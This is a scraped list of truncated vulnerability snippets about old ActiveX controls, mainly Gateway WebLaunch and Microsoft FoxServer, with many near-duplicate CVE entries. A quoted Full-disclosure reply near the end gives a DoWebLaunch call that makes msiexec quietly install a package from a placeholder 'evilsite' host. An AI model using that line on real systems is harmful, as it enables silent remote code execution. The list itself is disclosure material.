Qvod Player 2.1.5 - 'QvodInsert.dll' ActiveX Control Remote Buffer Overflow

source: https://www.securityfocus.com/bid/27271/info Qvod Player 'QvodInsert.dll' ActiveX control is prone to is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. Successfully exploiting this issue allows remote...

CVE-2008-0235: Improper Control of Generation of Code

The Microsoft VFPOLEServer ActiveX control allows remote attackers to execute arbitrary code by invoking the foxcommand method...

CVE-2008-0220

Multiple stack-based buffer overflows in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allow remote attackers to execute arbitrary code via a long string in the 1 second or 2 fourth argument to the DoWebLaunch method. NOTE: some of...

Stack overflow

Multiple stack-based buffer overflows in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allow remote attackers to execute arbitrary code via a long string in the 1 second or 2 fourth argument to the DoWebLaunch method. NOTE: some of...

Directory traversal

Directory traversal vulnerability in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allows remote attackers to execute arbitrary programs via a ..\ dot dot backslash in the second argument to the DoWebLaunch method. NOTE: some of these...

CVE-2008-0221

Directory traversal vulnerability in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allows remote attackers to execute arbitrary programs via a ..\ dot dot backslash in the second argument to the DoWebLaunch method. NOTE: some of these...

CVE-2008-0221

The CVE-2008-0221 entry describes a Directory traversal vulnerability in the WebLaunch.WeblaunchCtl.1 (CWebLaunchCtl) ActiveX control in weblaunch.ocx 1.0.0.1 (Gateway Weblaunch). The underlying issue is that an attacker can supply a ..\ (dot dot backslash) as the second argument to the DoWebLaun...

CVE-2008-0220

Multiple stack-based buffer overflows in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allow remote attackers to execute arbitrary code via a long string in the 1 second or 2 fourth argument to the DoWebLaunch method. NOTE: some of...

CVE-2008-0220

CVE-2008-0220 : Multiple stack-based buffer overflows in the WebLaunch.WeblaunchCtl.1 (CWebLaunchCtl) ActiveX control in weblaunch.ocx 1.0.0.1 (Gateway Weblaunch) allow remote attackers to execute arbitrary code by sending a long string in the (1) second or (2) fourth argument to the DoWebLaunch ...

CVE-2008-0221

Directory traversal vulnerability in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allows remote attackers to execute arbitrary programs via a ..\ dot dot backslash in the second argument to the DoWebLaunch method. NOTE: some of these...

Microsoft VFP_OLE_Server ActiveX Remote Command Execution

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"body bgcolor="E0E0E0"----------------------------------------------------------------------------- bMicrosoft VFPOLEServer Remote Command Execution/b url: http://www.microsoft.com Author:...

Apple QuickTime RTSP Response message Reason-Phrase buffer overflow vulnerability

Overview Apple QuickTime contains a buffer overflow vulnerability that may allow a remote, unauthenticated attacker to cause a denial-of-service condition and possibly execute arbitrary code. Description Real Time Streaming Protocol RTSP is a protocol that is used by streaming media systems. Appl...

Microsoft FoxServer (vfp6r.dll 6.0.8862.0) ActiveX Command Execution

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"body bgcolor="E0E0E0"----------------------------------------------------------------------------- bMicrosoft FoxServer vfp6r.dll 6.0.8862.0 Remote Command Execution/b...

CVE-2007-6250

Stack-based buffer overflow in AOL AOLMediaPlaybackControl AOLMediaPlaybackControl.exe, as used by AmpX ActiveX control AmpX.dll, might allow remote attackers to execute arbitrary code via the AppendFileToPlayList method...

Gateway Weblaunch ActiveX Control Insecure Method Exploit

No description provided by source. !-- Gateway Weblaunch ActiveX Control Insecure Method Exploit Implemented Categories: Category: Safe for Initialising Category: Safe for Scripting Written by e.b. Tested on Windows XP SP2fully patched English, IE6, weblaunch.ocx version 1.0.0.1...

GlobalLink GLChat.ocx 2.5.1 - ActiveX Control ChatRoom() Remote Buffer Overflow

GlobalLink GLChat.ocx 2.5.1 - ActiveX Control ChatRoom Remote Buffer Overflow source: https://www.securityfocus.com/bid/27393/info GlobalLink 'GLChat.ocx' ActiveX control is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it int...

Microsoft FoxServer - vfp6r.dll 6.0.8862.0 ActiveX Command Execution

Microsoft FoxServer - vfp6r.dll 6.0.8862.0 ActiveX Command Execution ----------------------------------------------------------------------------- Microsoft FoxServer vfp6r.dll 6.0.8862.0 Remote Command Execution url: http://www.microsoft.com Author: shinnai mail: shinnaiatautisticidotorg site:...

Microsoft FoxServer (vfp6r.dll 6.0.8862.0) ActiveX Command Execution

Exploit for unknown platform in category remote exploits ==================================================================== Microsoft FoxServer vfp6r.dll 6.0.8862.0 ActiveX Command Execution ====================================================================...

Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

I was playing with this a bit more. Everybody has the Windows Installer installed, right? How about this: obj.DoWebLaunch"","........windowssystem32msiexec.exe", "","/i http://www.evilsite.com/evilapp.msi /quiet"; Elazar On Tue, 08 Jan 2008 20:08:53 -0500 [email protected] wrote: The DoWebLaunc...

[Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

The DoWebLaunch method of the Gateway WebLauncher ActiveX control allows for the execution or arbitrary application on a system, additionally this method is vulnerable to a buffer overflow in the 2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx allow the execution of arbitrary files,...